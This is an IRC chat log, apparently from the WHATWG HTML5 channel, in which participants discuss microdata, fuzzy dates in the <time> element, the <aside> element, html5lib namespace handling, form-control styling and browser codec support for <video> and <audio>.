[05:35:00.0000] <beowulf>
erlehmann: it'll take me a while to get screen grabs of dl's on small screen devices, in the mean time though it wasn't a major concern with dl in dialog

[05:48:00.0000] <Lachy_>
Hixie, yt?

[06:00:00.0000] <beowulf>
erlehmann: fwiw, this is how i marked up our internal irc logs in work, i added microdata just to play with it http://carisenda.com/sandbox/chatlogs/

[06:01:00.0000] <annevk2>
hsivonen, but how?

[06:01:01.0000] <beowulf>
if dialog only permitted <dl> i'd just drop the surrounding <dialog>

[06:01:02.0000] <beowulf>
(it's based on krijnh's logs)

[06:01:03.0000] <annevk2>
hsivonen, you want to relate various pieces of data with content

[06:01:04.0000] <krijnh>
-_-

[06:02:00.0000] <erlehmann>
beowulf, so much DOM. it kills teh firebug !

[06:02:01.0000] <annevk2>
hsivonen, Microdata is perfect for relating various pieces of data

[06:02:02.0000] <annevk2>
hsivonen, but then cannot handle content

[06:03:00.0000] <krijnh>
beowulf: you should base it on http://projectcerbera.com/!dev/irc-logs/day :)

[06:04:00.0000] <erlehmann>
beowulf, looks nice, but still, no semantic markup.

[06:04:01.0000] <beowulf>
erlehmann: eh??

[06:04:02.0000] <beowulf>
krijnh: nice :)

[06:04:03.0000] <erlehmann>
beowulf, are you counting on overloading the class attribute ?

[06:05:00.0000] <beowulf>
erlehmann: define overloading

[06:05:01.0000] <annevk2>
beowulf, why use both classes and microdata?

[06:06:00.0000] <beowulf>
annevk2: i added microdata later, laziness then took over

[06:07:00.0000] <annevk2>
if microdata is a success we should probably introduce some cool selectors for it

[06:07:01.0000] <annevk2>
it has a nice DOM API after all

[06:17:00.0000] <jgraham>
Aren't selectors generally harder to add than DOM APIs because they need more special code and are more performance sensitive?

[06:19:00.0000] <jgraham>
(not that I have anything in particular against microdata selectors but there are a lot of problems at the moment where "add more selectors / pseudoelements" seems to be the solution everyone is talking about but no one is implementing)

[06:23:00.0000] <annevk2>
WebKit added lots of pseudo-elements

[06:24:00.0000] <annevk2>
pseudo-elements are generally harder though but I think that is mostly because the underlying implementation for the ones introduced so far is different

[06:25:00.0000] <annevk2>
if we have a bunch of new pseudo-elements that map to well-defined pseudo-boxes it should probably be easier (though getting form controls styleable(sp?) might not be)

[07:22:00.0000] <Binarytales>
Are there any good write-ups or resources on the issues surrounding <time> especially arguments for the current behaviour?  

[07:40:00.0000] <TabAtkins>
Binarytales: What part of the current behavior don't you like?

[07:42:00.0000] <Binarytales>
I wouldn't say I either like or dislike it. I've read various snippits arguing for fuzzy and ancient dates which kind of makes sense but I want to know the reasoning behind the current behaviour of only allowing "modern" and complete dates as all I seem to be able to find is "well that's how it is now" 

[07:43:00.0000] <Binarytales>
I guess I'm still trying to understand the issue

[07:43:01.0000] <TabAtkins>
Ah, ok.  I can distill the mailing list explanations down for you, though I can't point to any particular writeups.

[07:44:00.0000] <TabAtkins>
Basically, calendars are fucked up.  The Gregorian calendar that the entire world uses now was invented in its current form only a few hundred years ago, and was only *fully* adopted in the early 20th century (I think Russia was the last to adopt it).

[07:44:01.0000] <zcorpan>
Binarytales: maybe http://www.quirksmode.org/blog/archives/2009/04/making_time_saf.html 

[07:44:02.0000] <Binarytales>
yeah I tried the mailing list but my maillist-search-fu is weak :( 

[07:44:03.0000] <TabAtkins>
It's easy to pinpoint a date after the Gregorian calendar has been established, but before that it's somewhat difficult, and becomes more so the further back you go.  This is called the "proleptic" Gregorian calendar, by the way.

[07:45:00.0000] <TabAtkins>
By the time you hit somewhere around 0 you're running into serious accuracy issues, where for many things it's very difficult or impossible to pin down the *exact* proleptic Gregorian day that a date in an ancient calendar translates to.

[07:46:00.0000] <Binarytales>
so when someone says "1st May 978" they basically mean that's the closest estimation of that date relative to the current date?

[07:46:01.0000] <zcorpan>
/me tries http://www.google.se/search?q=site%3Alists.w3.org+time-element

[07:46:02.0000] <TabAtkins>
However, <time> still goes ahead and allows years down to 0, just because why the hell not.

[07:46:03.0000] <TabAtkins>
BinaryTales: Yeah.  There's always some legacy calendar with an exact date that the historian is trying to translate into our current calendar.

[07:47:00.0000] <TabAtkins>
So, allowing negative years would make the parser slightly more complicated, and you're already at the point where <time> is losing most to all of its value, so the spec just straight disallows it.

[07:52:00.0000] <Binarytales>
Why just straight out disallow it though? Why can't the parser just say "Hey, there is a time here but I don't understand it, someone else can figure it out?"

[07:52:01.0000] <TabAtkins>
You can totally put a negative year there if you want.  You'll just be nonconforming.

[07:54:00.0000] <Binarytales>
There are gonna be a lot of authors that will want to put nonconforming dates in <time> - so doesn't it come back to the whole "what the point in writing fiction" thing. Why not provide a nicer way of handling fuzzy dates? 

[07:55:00.0000] <zcorpan>
because no-one has explained what the use case is with fuzzy dates

[07:55:01.0000] <TabAtkins>
The argument is that fuzzy dates aren't very machine-useful anyway, so just don't use <time> to mark them up.

[07:56:00.0000] <zcorpan>
s/fuzzy dates/fuzzy dates marked up with an element/

[08:13:00.0000] <jgraham>
For the things that people typically talk about "a museum wants to mark up dates in a webpage about a collection of artifacts" you are probably going to need the full power of microdata to do anything useful anyway

[08:15:00.0000] <TabAtkins>
And if you're using full Microdata, you can just embed the calendar in there too.  There's all sorts of craziness around ancient dates that you might usefully want to represent, that should be out-of-scope for <time>.

[08:28:00.0000] <_h_>
Not all fuzzy dates are historical. Flickr for example lets you put in approximate dates to photos you've taken. Has there been any consideration to perhaps allowing an attribute describing accuracy? exact could be implied; circa for fuzzy; incomplete for when the author knows the year for sure but not the rest...?

[08:33:00.0000] <hsivonen>
_h_: but what's the use case for making the Flickr dates machine-readable as part of microdata or microformats?

[08:41:00.0000] <_h_>
hsivonen: mostly related to search - being able to search for content attached to a date specified by the author. fuzzy dates can still be useful - ask an historian who has searched for information about an event "near the turn of the century" :)

[08:43:00.0000] <_h_>
a fuzzy/circa date doesn't need to specify the margin for error; search engines could provide searches with a tolerance. "search for content from this specific, confirmed date" vs. "search for this date with 10 year tolerance".

[08:45:00.0000] <hsivonen>
http://www.html-5.com/

[08:47:00.0000] <AryehGregor>
Has anyone given thought to making sure there are good-quality sane HTML5 tutorials out there to hopefully preempt the inevitable mounds of complete trash that will arise as public awareness grows?

[08:48:00.0000] <AryehGregor>
Oh, well, I guess if there are lots of people wanting to make tutorials then we're accomplishing something anyway.  ;)

[08:49:00.0000] <annevk3>
AryehGregor, there have been various ideas floating around but nothing really took of

[08:49:01.0000] <annevk3>
e.g. at some point I launched wiki.html5.org

[08:50:00.0000] <annevk3>
and the plan was to have a page for each element, etc.

[08:50:01.0000] <mwunsch>
i own html-5.org and html-five.org

[08:50:02.0000] <mwunsch>
planning on writing something there

[08:50:03.0000] <_h_>
annevk3: perhaps some benevolent browser company will put together an extensive web curriculum and could add html5 to that.... ;)

[08:50:04.0000] <mwunsch>
just haven't gotten around to it yet :-\

[08:51:00.0000] <annevk3>
_h_, yeah, who knows :)

[08:51:01.0000] <beowulf>
i thought about a version of the spec that linked to good examples for each section, or some way of making that automatic, or something

[08:51:02.0000] <hsivonen>
html-5.com is quoted as a source in Wikipedia

[08:52:00.0000] <AryehGregor>
What page?

[08:52:01.0000] <hsivonen>
AryehGregor: http://en.wikipedia.org/wiki/Document_Type_Declaration

[08:53:00.0000] <TabAtkins>
Augh, jeez.  1995 called.  It wants its webdesigners back.

[08:53:01.0000] <annevk3>
<!DOCTYPE HTML:html> ?

[08:54:00.0000] <TabAtkins>
I've... never seeen that before.

[08:54:01.0000] <TabAtkins>
Think it's just some crazy author making shit up.

[08:55:00.0000] <Dashiva>
As opposed to the rest of the internet? :)

[08:56:00.0000] <TabAtkins>
Gah, I'm gonna go edit that.  The entire subsection about "the doctype name must exactly match the root element name" is just plain wrong.

[08:56:01.0000] <annevk3>
there's also this openweb.org effort

[08:56:02.0000] <annevk3>
maybe when that gets of the ground it will provide good documentation

[08:56:03.0000] <hsivonen>
annevk3: not found

[08:58:00.0000] <AryehGregor>
hsivonen, it doesn't anymore.  :)

[08:58:01.0000] <hsivonen>
AryehGregor: cool

[08:58:02.0000] <AryehGregor>
(Not a [[WP:RS|reliable source]]!)

[08:58:03.0000] <hsivonen>
thanks

[08:58:04.0000] <TabAtkins>
Also, article editted to remove stupid reference to HTML:html

[08:59:00.0000] <annevk3>
hsivonen, see Google Groups

[09:09:00.0000] <TabAtkins>
Hmm, I wish there was some way to say "keep your spot in the flow, but act like you're an abspos and sit on top of your neighbors".  I'm implementing expandy-menus, and have to do it by keeping a container element around and absposing the children.

[09:19:00.0000] <mwunsch>
Would footnotes of an article be appropriately marked up in an <aside> ?

[09:20:00.0000] <AryehGregor>
That doesn't seem right to me.

[09:20:01.0000] <mwunsch>
Or would it be more appropriate to mark them up as a <section>

[09:20:02.0000] <mwunsch>
?

[09:21:00.0000] <jgraham>
mwunsch: http://www.whatwg.org/specs/web-apps/current-work/#footnotes

[09:21:01.0000] <TabAtkins>
If I included a footnote inline, it would totally be as <aside>.

[09:22:00.0000] <TabAtkins>
It satisfies the related-but-tangential smell test.

[09:23:00.0000] <mwunsch>
jgraham: Thank you.

[09:23:01.0000] <mwunsch>
I was about to quote the spec, but my browser is hanging...

[09:24:00.0000] <TabAtkins>
If I collected a bunch of footnotes and put them at the end of the document, I'd also wrap them in an <aside> (and then an <ol>, most likely).

[09:24:01.0000] <mwunsch>
TabAtkins: my thoughts exactly

[09:24:02.0000] <GPHemsley>
I image Hixie et al. are already aware of this? http://www.zeldman.com/superfriends/guide/

[09:25:00.0000] <takkaria>
yup

[09:25:01.0000] <TabAtkins>
Yeah.

[09:25:02.0000] <GPHemsley>
s/image/imagine/

[09:25:03.0000] <GPHemsley>
k

[09:25:04.0000] <TabAtkins>
Hit the HTMLWG list yesterday.

[09:25:05.0000] <GPHemsley>
ah

[09:25:06.0000] <TabAtkins>
And is already a large thread.

[09:25:07.0000] <GPHemsley>
perhaps I should start reading that list

[09:25:08.0000] <TabAtkins>
It's noisier than WHATWG, if you can believe it.

[09:25:09.0000] <mwunsch>
From the spec: 'For side notes, longer annotations that apply to entire sections of the text rather than just specific words or sentences, the aside element should be used.'

[09:26:00.0000] <GPHemsley>
s/that list/the HTML5-related lists/

[09:26:01.0000] <TabAtkins>
You should definitely be reading at least one.

[09:26:02.0000] <gsnedders>
/me should probably change his W3C account to being an invited expert and use his person address for this month…

[09:26:03.0000] <gsnedders>
Then change it back to Opera next month…

[09:26:04.0000] <TabAtkins>
Make sure your mail client groups messages into conversations.  ^_^

[09:27:00.0000] <GPHemsley>
Yeah, it does. Which list would you recommend?

[09:27:01.0000] <gsnedders>
But I'm not going to have time to read email this month anyway, so I can't really be bothered :P

[09:27:02.0000] <AryehGregor>
Speaking of which, should I poke someone to approve my Invited Expert request?  It's been about two weeks now.

[09:27:03.0000] <GPHemsley>
(with link, please)

[09:27:04.0000] <TabAtkins>
Honestly, both.  But be ready to mute conversations that you're not interested in.

[09:27:05.0000] <TabAtkins>
Aryeh: Yeah, probably.

[09:27:06.0000] <GPHemsley>
heh

[09:27:07.0000] <annevk3>
AryehGregor, yes, see WHATWG blog instructions

[09:27:08.0000] <gsnedders>
AryehGregor: MikeSmith 

[09:27:09.0000] <GPHemsley>
TabAtkins: Oh, I forgot about that feature. :)

[09:28:00.0000] <MikeSmith>
AryehGregor: I'll check on your application now

[09:28:01.0000] <TabAtkins>
GPHemsley: I try to read *everything* on the list, but I've muted things coming from other lists that I don't care about, and expect that most people don't want to read as much as me.  ^_^

[09:28:02.0000] <AryehGregor>
MikeSmith, thanks.

[09:28:03.0000] <MikeSmith>
(thanks gsnedders for the ping)

[09:29:00.0000] <GPHemsley>
TabAtkins: Oh, wait... does Gmail have that feature? I thought I remembered seeing it before, but I'm not seeing it now....

[09:29:01.0000] <TabAtkins>
Should be in the dropdown?

[09:29:02.0000] <TabAtkins>
Yeah, under "more actions"

[09:29:03.0000] <GPHemsley>
I thought

[09:30:00.0000] <GPHemsley>
TabAtkins: Hmm... only if the message is in the inbox...

[09:30:01.0000] <GPHemsley>
weird

[09:30:02.0000] <AryehGregor>
. . . @ superfriends

[09:30:03.0000] <TabAtkins>
Eh, I guess that makes sense.  Why are you muting things that you aren't even currently seeing?

[09:31:00.0000] <TabAtkins>
I mean, from a principle of "when would be best to expose this option".

[09:31:01.0000] <TabAtkins>
Since "mute" is basically a perma-archive.

[09:31:02.0000] <GPHemsley>
TabAtkins: Because I forgot about the feature and don't want to hear any more from conversations that I just keep archiving ;)

[09:31:03.0000] <GPHemsley>
I personally hate the UI on Gmail's buttons

[09:31:04.0000] <GPHemsley>
it's not consistent enough

[09:32:00.0000] <TabAtkins>
Seems consistent in my theme, at least - I use "console".

[09:32:01.0000] <TabAtkins>
Which reminds me - I've really got to go tweak the display of chatzilla to use a similar theme

[09:32:02.0000] <TabAtkins>
this black-on-white is murder for my eyes.

[09:33:00.0000] <GPHemsley>
heh

[09:33:01.0000] <GPHemsley>
when you switch from the inbox to a label to search results, the archive option moves around

[09:33:02.0000] <adactio>
Just catching up on the discussion of fuzzy dates with the <time> element...

[09:33:03.0000] <GPHemsley>
and worse, it's replaced with a remove label button

[09:33:04.0000] <adactio>
Here's a use case...

[09:34:00.0000] <TabAtkins>
I have a Consolizer Stylish sheet that I use on most of the web.  Makes everything #0d0-on-black FixedSys with italic/bold represented with ASCII instead.

[09:34:01.0000] <adactio>
Resumés showing work history are usually marked up with months and years, not to the day.

[09:34:02.0000] <adactio>
This is the kind of information that's already being aggregated (with hResume) by sites like LinkedIn.

[09:34:03.0000] <GPHemsley>
TabAtkins: Heh.

[09:34:04.0000] <TabAtkins>
adactio: in my own resume, I simply notate that as the start of the month.

[09:35:00.0000] <adactio>
I think there's a definite use case for fuzzy dates in work histories for resumés.

[09:35:01.0000] <adactio>
I'll post it to the list when I get a chance.

[09:35:02.0000] <TabAtkins>
I haven't yet updated it to use <time>, though - I'm still using <abbr> in hResume.

[09:36:00.0000] <TabAtkins>
But yeah, post away.  Seems valid.

[09:36:01.0000] <adactio>
TabAtkins: Cheers.

[09:36:02.0000] <TabAtkins>
So would you be stumping for month-year strings?

[09:36:03.0000] <Binarytales>
yeah my hresume is full of fuzzy dates

[09:36:04.0000] <Binarytales>
I have just years in mine aswell

[09:37:00.0000] <TabAtkins>
Or a more generic notion of fuzzy dates?

[09:37:01.0000] <gsnedders>
hResume requires exact dates, no?

[09:37:02.0000] <adactio>
gsnedders: I'm not sure. I'll check.

[09:38:00.0000] <gsnedders>
experience is hCalendar, and that allows all ISO 8601

[09:38:01.0000] <Binarytales>
actually I don't have just years - I have this <abbr class="dtstart" title="2006-01-01">2006</abbr>

[09:39:00.0000] <Binarytales>
but the intent is just the general idea of 2006

[09:39:01.0000] <gsnedders>
Re-reading the spec I think 2006 is fine

[09:39:02.0000] <gsnedders>
(likewise is 2006001, 2006W011, 20060101…)

[09:40:00.0000] <adactio>
AFAIK any ISO 8601 date is fine, so that would include "fuzzy" dates like 2009-09 or 2009.

[09:40:01.0000] <annevk3>
ISO 8601 is not a solution really, it's horribly vague

[09:42:00.0000] <TabAtkins>
Hmm.  RFC 3339 (which microformats refers to with a SHOULD) says that dates must be exact.

[09:42:01.0000] <gsnedders>
annevk3: I guess hCalendar uses ISO 8601 because iCalendar does

[09:43:00.0000] <adactio>
annevk3: it's horribly vague for adding a meeting to a calendar. It's perfectly fine for finding gaps in work history.

[09:43:01.0000] <Binarytales>
gsnedders - the microformats wiki says "The more complex formats like week numbers and ordinal day are not permitted"

[09:44:00.0000] <Binarytales>
http://microformats.org/wiki/iso-8601 - so 2006001 and 2006W011 wouldn't be valid

[09:44:01.0000] <gsnedders>
Binarytales: No, that's talking about RFC 3339, which is a subset.

[09:44:02.0000] <adactio>
So if the <time> element is *just* for adding appointments to calendars, then yeah, there's no point allowing fuzzy dates. But if the spec doesn't proscribe legitimate uses (like resumé aggregation and comparison) then fuzzy dates (i.e. ISO 8601) should be allowed.

[09:44:03.0000] <gsnedders>
Binarytales: hCalendar goes against the SHOULD and uses ISO 8601 not RFC 3339

[09:45:00.0000] <gsnedders>
/me thinking compiling code with his laptop on his lap was a bad idea

[09:45:01.0000] <Binarytales>
oh right. 

[09:45:02.0000] <annevk3>
adactio, I mean the spec

[09:45:03.0000] <adactio>
annevk3: ah right, sorry.

[09:46:00.0000] <jgraham>
FWIW the resume use case seems reasonable to me although I don't know how you would map it to useful apis

[09:48:00.0000] <Binarytales>
The point I was trying to make earlier was that if you give authors <time> they are going to want to wrap _all_ their dates and time with it. Under the current behaviour it won't be long before the web is full of nonconforming pages

[09:49:00.0000] <GPHemsley>
TabAtkins: OK, I'm officially subscribed to the spec and implementors mailing lists. Don't make me regret it. ;)

[09:50:00.0000] <TabAtkins>
I will spam the list just for you, GPHemsley.

[09:50:01.0000] <GPHemsley>
<3

[09:52:00.0000] <Binarytales>
I live near a place called Helmsley, it's pretty

[09:52:01.0000] <GPHemsley>
meh

[09:52:02.0000] <GPHemsley>
that word is the bane of my existence

[09:53:00.0000] <AryehGregor>
MikeSmith, thanks.

[09:54:00.0000] <MikeSmith>
AryehGregor: np. sorry about the delay

[10:23:00.0000] <cryzed>
Hey :), I'm using html5lib for Python, a fairly old version tho.

[10:24:00.0000] <cryzed>
I was wondering if html5lib.parse still worked in the newest version

[10:24:01.0000] <gsnedders>
It does, just differently :P

[10:25:00.0000] <gsnedders>
(It puts everything into the HTML namespace now)

[10:25:01.0000] <cryzed>
So as a user of 

[10:25:02.0000] <cryzed>
html5lib.parse(some_kind_of_stringio, 'beautifulsoup')

[10:25:03.0000] <cryzed>
I shouldn't "feel" a difference, right?

[10:26:00.0000] <gsnedders>
Oh, I think it's now rather broken with BS

[10:26:01.0000] <cryzed>
I just tested it

[10:26:02.0000] <cryzed>
seems to work

[10:26:03.0000] <gsnedders>
(But I could be wrong)

[10:26:04.0000] <gsnedders>
Then I guess it should work

[10:26:05.0000] <jgraham>
It just ignores ns stuff with bs for the moment

[10:26:06.0000] <cryzed>
Because last time I checked it kep throwing errors

[10:26:07.0000] <cryzed>
"ns stuff"?

[10:26:08.0000] <cryzed>
Non-sense?

[10:26:09.0000] <TabAtkins>
namespace

[10:26:10.0000] <jgraham>
Yeah I wallpapered over the underlying issue

[10:27:00.0000] <jgraham>
By making it just throw warnings if you try to do something that will put elements in a non-html namespace

[10:27:01.0000] <cryzed>
Does that affect the way I work with it or is it "just" something internal?

[10:27:02.0000] <jgraham>
cryzed: As long as you only ever parse documents that don't contain a <svg> or <mathml> tag it should work fine

[10:28:00.0000] <gsnedders>
cryzed: It means you can't use a document like <html><title>foo</title><svg><desc>foo</desc></svg>…

[10:28:01.0000] <cryzed>
So self-invented tags are a no-no

[10:28:02.0000] <cryzed>
or is svg html5?

[10:28:03.0000] <gsnedders>
It's not self-invented

[10:28:04.0000] <gsnedders>
SVG can occur in HTML documents in HTML 5.

[10:28:05.0000] <jgraham>
It is svg and mathml in html5

[10:28:06.0000] <cryzed>
Oh - so it basically needs updating, right?

[10:28:07.0000] <gsnedders>
And SVG elements are in the SVG namespace

[10:29:00.0000] <cryzed>
"basically", I don't want to force you or anything

[10:29:01.0000] <gsnedders>
BeautifulSoup has no concept of XML namespaces

[10:29:02.0000] <cryzed>
BeautifulStoneSoup? *is probably talking about something different*

[10:30:00.0000] <gsnedders>
Doesn't support XML namespaces, as far as I know

[10:31:00.0000] <cryzed>
"[...] Beautiful Soup is a Python HTML/XML parser designed for quick turnaround projects like screen-scraping. [...]"

[10:31:01.0000] <gsnedders>
XML namespaces is not part of the XML spec

[10:31:02.0000] <jgraham>
cryzed: As far as I can tell it has no namespace support

[10:31:03.0000] <gsnedders>
Namespaces for XML is a different spec, which almost everything that uses XML relies upon.

[10:32:00.0000] <gsnedders>
As far as I can tell BeautifulSoup does not support XML namespaces.

[10:32:01.0000] <cryzed>
Okay - I honestly don't really understand how those namespaces work, or how they are used internally - but I guess I'll just believe you

[10:32:02.0000] <cryzed>
but that's really too bad

[10:32:03.0000] <cryzed>
I really like BeautifulSoup - it's sad that it's dying more or less

[10:33:00.0000] <TabAtkins>
Augh god, where the hell are these chrome:// urls pointing?!?  I want to alter an existing file, but don't know where to find it.  >_<

[10:33:01.0000] <gsnedders>
TabAtkins: Into chrome :P

[10:34:00.0000] <TabAtkins>
Incorrect, gsnedders.  This is Firefox.  ^_^

[10:34:01.0000] <gsnedders>
Into the chrome :P

[10:34:02.0000] <TabAtkins>
Also lies, gsnedders.  There are no CSS files hidden in the chrome.

[10:35:00.0000] <jgraham>
TabAtkins: For example?

[10:35:01.0000] <TabAtkins>
Trying to alter the chatzilla css, located at chrome://chatzilla/skin/output-default.css

[10:37:00.0000] <TabAtkins>
I'm afraid it's going to end up in a .jar, so the system sarch won't find it.

[10:39:00.0000] <TabAtkins>
Indeed.  This file, it does not exist as a bare file anywhere on my c: drive

[10:42:00.0000] <TabAtkins>
Of course, I can also just type the chrome url into the browser bar, then copypasta into a new file.

[10:47:00.0000] <jgraham>
TabAtkins: It will be somewhere in chatzilla.jar/skin or something

[10:47:01.0000] <jgraham>
I guess

[10:48:00.0000] <TabAtkins>
Yeah, dun worry.  I'm working around it.

[10:48:01.0000] <jgraham>
/me hasn't touched mozilla jar files for a long time

[10:48:02.0000] <jgraham>
(and I have never used chatzilla)

[10:49:00.0000] <TabAtkins>
I got the source of the two css files, and cz allows you to change what CSS file it points to, so I'm good.

[11:26:00.0000] <takkaria>
Philip`: you want to add some of the fonts from http://www.1stwebdesigner.com/resources/52-really-high-quality-free-fonts-for-modern-and-cool-design/ to your subsetter

[11:26:01.0000] <takkaria>
honest :)

[11:39:00.0000] <Philip`>
takkaria: No I don't, since (I think) very few have acceptable licenses

[11:39:01.0000] <Philip`>
e.g. the very first one says "This font is freeware for personal and commercial use. ... Editing is only allowed for personal use, dont distribute an edited version of this font!"

[11:40:00.0000] <Philip`>
(and subsetting involves modifying and distributing)

[11:40:01.0000] <tantekc>
othermaciej, tabatkins - your feedback on CSS3UI totally makes sense.

[11:40:02.0000] <TabAtkins>
Argelalhaf;sdjfk I hate people who think they're being nice by letting people share but then lock down remixing.

[11:41:00.0000] <takkaria>
Philip`: ah, shame

[11:41:01.0000] <tantekc>
and Boris too - if he's here.

[11:42:00.0000] <othermaciej>
tantekc: he sometimes is, but not at the moment

[11:42:01.0000] <TabAtkins>
tantekc: Dont' get me wrong; the ability to style page elements like native UI controls is really useful too, but like maciej said, it's sorta complementary to the issue at hand.

[11:42:02.0000] <tantekc>
"starting point" is a good way of looking at it

[11:42:03.0000] <tantekc>
TabAtkins, in many ways, CSS3UI provides the presentational equivalent of what ARIA role does semantically

[11:43:00.0000] <Philip`>
takkaria: (I haven't checked all the fonts on that list - originally I mostly just looked for ones that were listed as GPL/OFL/etc, and then threw away ones that were particularly stupid fonts, because starting from lists of good free fonts would result in very few with acceptable licenses)

[11:43:01.0000] <TabAtkins>
The "issue at hand" being the exact opposite - styling native UI controls like page elements.

[11:43:02.0000] <TabAtkins>
tantekc: Yeah, that's a good way to put it.

[11:43:03.0000] <tantekc>
and thus is still quite useful

[11:43:04.0000] <tantekc>
since people do build buttons out of divs etc.

[11:43:05.0000] <TabAtkins>
Yup.

[11:44:00.0000] <TabAtkins>
Just last week I styled a <label> as a button - luckily I *generally* have a non-native look for the buttons in my intranet apps.

[11:44:01.0000] <TabAtkins>
(It was a bit of a hack - the <label> activated an invisible <input>, triggering a jQuery datepicker.)

[11:45:00.0000] <TabAtkins>
I use the non-native look precisely so I can be flexible like that, because I can't style things like the native buttons.

[11:45:01.0000] <tantekc>
TabAtkins - you should be able to though. And that's partly why CSS3UI focused on what it did.

[11:46:00.0000] <TabAtkins>
Nod, I just meant that I can't do so *currently*.  I'd like to be able to.  ^_^

[11:46:01.0000] <takkaria>
hmm, the discusison on public-htmlhas been pretty technical and not spammy for a few days now

[11:46:02.0000] <tantekc>
by providing a CSS way of doing *default* form element presentation, browser implementers could rely less on custom code specifically for form elements

[11:46:03.0000] <takkaria>
/me is impressed

[11:47:00.0000] <TabAtkins>
takkaria, it's because we're discussing actual work, rather than process.  Discussion rather than meta-discussion.  ^_^

[11:48:00.0000] <takkaria>
I really haven't seen public-html be so useful for a long time

[11:48:01.0000] <takkaria>
though there were a few weeks when it was fairly decent back in early 2008 IIRC

[11:49:00.0000] <TabAtkins>
I blame the Superfriends for this burst of productivity.  Also Maciej.

[11:53:00.0000] <othermaciej>
tantekc: my experience is that content authors use <divs> solely so they can get a custom-looking button in a cross-browser way, and are not very interested in making <divs> look exactly like native buttons - we only really use 'appearance' as part of our internal implementation of form control rendering

[11:53:01.0000] <tantekc>
othermaciej - right, that was part of my thinking as well

[11:54:00.0000] <tantekc>
that the more that implementations were built to handle CSS3UI - the more they would also allow "normal" styling of form elements

[11:54:01.0000] <tantekc>
CSS3UI provided the necessary implementation abstraction

[11:54:02.0000] <TabAtkins>
othermaciej: Really?  I'd be quite interested in making things look like native controls, but I don't care enough about it to use a solution that won't work in IE.

[11:55:00.0000] <tantekc>
basically, form element appearance should be fully defined by CSS, not by HTML

[11:55:01.0000] <tantekc>
doing so enables the proper cascade of platform / user agent / author styles

[11:55:02.0000] <tantekc>
for both form elements and normal elements

[11:55:03.0000] <tantekc>
being styled either like "normal" elements, or like form elements

[11:57:00.0000] <othermaciej>
we ended up allowing a lot of styling without setting appearance to normal, to go along with what other browsers do

[11:57:01.0000] <othermaciej>
but I'm not sure if there is a wide interoperable range of what form control styling you can do cross-browser

[11:59:00.0000] <TabAtkins>
Amusing: a high-school friend and an internet friend got into a row on one of my facebook posts.  Now the two of them have posts making fun of each other showing up as consecutive updates for me.  ^^;

[12:05:00.0000] <jlebar>
uuid

[12:05:01.0000] <jlebar>
whoops...wrong window.

[12:05:02.0000] <TabAtkins>
uuids are never wrong.

[12:33:00.0000] <annevk3>
Philip`, encoding stats ping

[12:33:01.0000] <annevk3>
:)

[12:52:00.0000] <deadowl>
Could HTML5 have a dummy tag to signify that in a specific case when extracting from a range, a parent element's children got cut out of the extraction?

[12:53:00.0000] <hober>
deadowl: I'm afraid I don't follow.

[12:53:01.0000] <deadowl>
hard to explain

[12:54:00.0000] <deadowl>
So let's say a user selects a section of an unordered list, but not the entire thing.

[12:54:01.0000] <deadowl>
You can get the selection object which will provide you with a valid unordered list, but no way to signify it's not the entire unordered list.

[12:56:00.0000] <deadowl>
Do you follow yet?

[12:57:00.0000] <deadowl>
the parts that got cut off from the document selection could be at the beginning or end. So it would be nice to be able to represent that somehow.

[12:58:00.0000] <deadowl>
and it could extend to several elements within that selection.

[12:58:01.0000] <deadowl>
Mostly I'm trying to do templating with ranges, but that's the simplest example I can think of.

[13:00:00.0000] <karlushi>
/me wonders if there was any attempts in the past to have javascript control over an animated gif in browsers.

[13:00:01.0000] <karlushi>
stop, next frame, previous frame, etc.

[13:12:00.0000] <deadowl>
karlushi: don't think so

[13:15:00.0000] <TabAtkins>
Though, given current processing, you could probably fake it with lots of gifs and a setInterval()

[14:29:00.0000] <annevk2>
adactio, not sure if your routine includes reading these logs, but http://dev.w3.org/html5/html4-differences/ dropped the space too now

[14:39:00.0000] <cardona507>
can anyone point me to a link that shows what browsers support what codec for <video>?

[14:41:00.0000] <jcranmer>
Mozilla-based, Opera = theora; Safari = h.264; chromium = both; IE = neither

[14:41:01.0000] <jcranmer>
well, Chrome; I don't know about chromium

[14:42:00.0000] <Philip`>
More accurately, Safari = whatever QuickTime supports (which by default includes H.264 and not Theora), or something like that

[14:43:00.0000] <AryehGregor>
Chromium doesn't support H.264, only Theora.

[14:43:01.0000] <Binarytales>
I don't think Chromium support H.264 due to license issues

[14:43:02.0000] <AryehGregor>
I assume you can compile it to support whatever you want, though.

[14:43:03.0000] <gsnedders>
Chrome supports both, though

[14:44:00.0000] <cardona507>
what is in the spec- h.264?

[14:44:01.0000] <jcranmer>
nothing

[14:44:02.0000] <cardona507>
how about <audio>?

[14:44:03.0000] <jcranmer>
it used to be theora, way back when

[14:45:00.0000] <jcranmer>
now it's nothing until the Great Codec War finishes

[14:51:00.0000] <gsnedders>
It was clear soon after that got into the spec that would have to go

[14:52:00.0000] <Lachy>
why do people make wild claims about what elements are not meant for, when in fact, that's what they were designed for?! http://html-five.net/2009/07/20/aside-is-not-a-sidebar/

[14:52:01.0000] <Lachy>
(admittedly, the spec's definition of aside isn't very clear)

[14:55:00.0000] <cardona507>
what is the browser support for <audio>?

[14:55:01.0000] <Lachy>
cardona507, Firefox and Safari support it

[14:55:02.0000] <cardona507>
vorbis and mp3?

[14:56:00.0000] <Lachy>
Firefox supports Ogg Vorbis, Safari supports anything that QuickTime will play

[14:56:01.0000] <cardona507>
hmmm- thanks

[14:59:00.0000] <Philip`>
Does Firefox support WAV?

[15:00:00.0000] <TabAtkins>
Philip`, yes.

[15:00:01.0000] <gsnedders>
Cat People (Putting Out Fire) by David Bowie is awesome.

[15:02:00.0000] <TabAtkins>
Lachy: if <aside> is meant for an actual *website* sidebar, that's *way* not clear from the spec.  Magazine sidebar, yes.

[15:02:01.0000] <TabAtkins>
But a website sidebar is just "stuff that lives on the side of my section", to complement header and footer as "stuff the lives at the top/bottom of my section".

[15:05:00.0000] <TabAtkins>
Lachy: It also feels totally weird to have a single element be both a sidebar and an aside.  The stuff that <aside> is meant for per spec *might* be on the side, and commonly are by typographic convention, but they could be right in the middle of content too, just typographically offset from the surrounding content with borders and font to indicate that they're not really part of the content flow.

[15:06:00.0000] <TabAtkins>
It's like <footer> - it's currently trying to pull double-duty as a structural element ("stuff that goes at the bottom of the section") and a semantic element ("metainfo about the article").

[15:06:01.0000] <TabAtkins>
There will be friction and confusion *constantly* about this.

[15:08:00.0000] <cardona507>
what is the solution?

[15:10:00.0000] <TabAtkins>
